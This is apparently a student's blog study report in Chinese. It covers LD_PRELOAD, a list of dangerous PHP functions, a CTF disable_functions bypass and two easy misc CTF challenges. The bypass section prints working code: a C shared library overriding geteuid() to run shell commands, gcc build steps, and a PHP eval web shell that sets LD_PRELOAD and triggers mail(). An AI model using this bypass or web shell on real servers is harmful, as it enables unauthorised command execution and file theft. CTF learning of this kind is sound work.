春季学习报告 5.3

首先庆祝一下总算拿到驾照了,也不枉我翘网课去开车…
总算有时间搞学习了
本周学习的主要内容是web 进阶方面的东西,开始深入学习一些理论了
web进阶 LD_PRELOAD
LD_PRELOAD:允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。
大概的意思就是系统在执行程序的时候会调用很多库,有些危险的库是用不了的,被禁止了,这里我们就采取方法,使用环境变量,让程序提前加载好那些危险的库,从而达到一些目的(比如说抓flag)
在绕过disable_functions中,使用LD_PRELOAD经常用到,尤其是通过mail和error_log函数执行

危险的函数有那些呢?
phpinfo()
功能描述:输出 PHP 环境信息以及相关的模块、WEB 环境等信息。
危险等级:中

passthru()
功能描述:允许执行一个外部程序并回显输出,类似于 exec()。
危险等级:高

exec()
功能描述:允许执行一个外部程序(如 UNIX Shell 或 CMD 命令等)。
危险等级:高

system()
功能描述:允许执行一个外部程序并回显输出,类似于 passthru()。
危险等级:高

chroot()
功能描述:可改变当前 PHP 进程的工作根目录,仅当系统支持 CLI 模式
PHP 时才能工作,且该函数不适用于 Windows 系统。
危险等级:高

scandir()
功能描述:列出指定路径中的文件和目录。
危险等级:中

chgrp()
功能描述:改变文件或目录所属的用户组。
危险等级:高

chown()
功能描述:改变文件或目录的所有者。
危险等级:高

shell_exec()
功能描述:通过 Shell 执行命令,并将执行结果作为字符串返回。
危险等级:高

proc_open()
功能描述:执行一个命令并打开文件指针用于读取以及写入。
危险等级:高

proc_get_status()
功能描述:获取使用 proc_open() 所打开进程的信息。
危险等级:高

error_log()
功能描述:将错误信息发送到指定位置(文件)。
安全备注:在某些版本的 PHP 中,可使用 error_log() 绕过 PHP safe mode,
执行任意命令。
危险等级:低

ini_alter()
功能描述:是 ini_set() 函数的一个别名函数,功能与 ini_set() 相同。
具体参见 ini_set()。
危险等级:高

ini_set()
功能描述:可用于修改、设置 PHP 环境配置参数。
危险等级:高

ini_restore()
功能描述:可用于恢复 PHP 环境配置参数到其初始值。
危险等级:高

dl()
功能描述:在 PHP 进行运行过程当中(而非启动时)加载一个 PHP 外部模块。
危险等级:高

pfsockopen()
功能描述:建立一个 Internet 或 UNIX 域的 socket 持久连接。
危险等级:高

syslog()
功能描述:可调用 UNIX 系统的系统层 syslog() 函数。
危险等级:中

readlink()
功能描述:返回符号连接指向的目标文件内容。
危险等级:中

symlink()
功能描述:在 UNIX 系统中建立一个符号链接。
危险等级:高

popen()
功能描述:可通过 popen() 的参数传递一条命令,并对 popen() 所打开的文件进行执行。
危险等级:高

stream_socket_server()
功能描述:建立一个 Internet 或 UNIX 服务器连接。
危险等级:中

putenv()
功能描述:用于在 PHP 运行时改变系统字符集环境。在低于 5.2.6 版本的 PHP 中,可利用该函数
修改系统字符集环境后,利用 sendmail 指令发送特殊参数执行系统 SHELL 命令。
危险等级:高

而通常的禁用方法就是
打开/etc/php.ini文件,
查找到 disable_functions ,添加需禁用的函数名,如下:

phpinfo,eval,passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket,fsockopen

首先做题,直接提示可以用菜刀或意见连接,连接后发现有flag文件,但是无法读取
在这里插入图片描述
这里就是要想办法获得权限了,本身可以利用工具获得权限
(蚁剑还是很强的)
然后就可以看到代码了

另外就是手工绕过,这方面 我只是依葫芦画瓢学着做了一次,因为代码还要学习,所以只能先放放

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
	system("cat /flag >> /var/www/html/test.php");
	system("tac /flag >> /var/www/html/test.php");
	system("more /flag >> /var/www/html/test.php");
	system("head -2 /flag >> /var/www/html/test.php");
	system("tail /flag >> /var/www/html/test.php");
}   
int  geteuid() {
    if (getenv("LD_PRELOAD") == NULL) { return 0; }
    unsetenv("LD_PRELOAD");
    payload();
}

(没想到居然是c语言写的…)
执行系统命令将结果返回test.php,geteuid函数是sendmail调用的一个库函数,现在重新写将它覆盖。但是首先得到hack.so
在linux中执行以下命令,得到hack.so,再把hack.so文件传入到题目环境中,放哪都行但是要和shell.php文件里LD_PRELOAD路径一样
gcc -c -fPIC hack.c -o hack
gcc -shared hack -o hack.so

<?php
  @eval($_REQUEST['ant']);
  putenv("LD_PRELOAD=/tmp/hack.so");
  error_log("admin",1);
  mail("admin@localhost","","","","");
?>

浏览器访问shell.php,再访问test.php(也可以蚁剑文件里直接看),右键查看源码

其中有几个非常重要的函数值得学习
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

二 竞赛题(还是非常水的那一种)
BDJCTF 2020 misc 认真你就输了

收到文件,发现是一张excel表 有提示说flag就在图层下面
然而这个名字确实是告诉你好像和图形没有什么关系
(总不可能是改表上的数字怎么处理一下吧。。。。)
把excel表用txt打开, 搜索fl 发现确实有几个关键字
说明flag 应该是以明文的形式保存在了文件中(而不是怎么处理一下下再靠目力去解决)
说明excel表里面肯定是夹带了私货的
所以还是用解压软件 右键选择查看文件
发现里面果然藏了文件,剩下的就找flag就好了
(上面已经给了目录)
在这里插入图片描述
在这里插入图片描述

BDJCTF 2020 misc 藏藏藏

同样还是一个文件,还是按老套路来,先用txt打开搜索,发现fl没有东西,说明要么flag加密,要么密码可能以图片的方式保存
还是按图片的方式先测试,在压缩软件中打开图片,发现里面藏了一个word文档,这个时候注意,把word文档直接打开,而不是再继续“解析”,打开发现里面是二维码,扫描即可,得到flag
在这里插入图片描述
在这里插入图片描述

总体上感觉bdj’的题还算简单,接下来我会试着用点时间争取做一道web的题,而且搞清楚其中的道理和学习一些些新东西。

然后就是盼着开学了,家里根本待不下去了…
南方热啊 34度
还木有空调

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值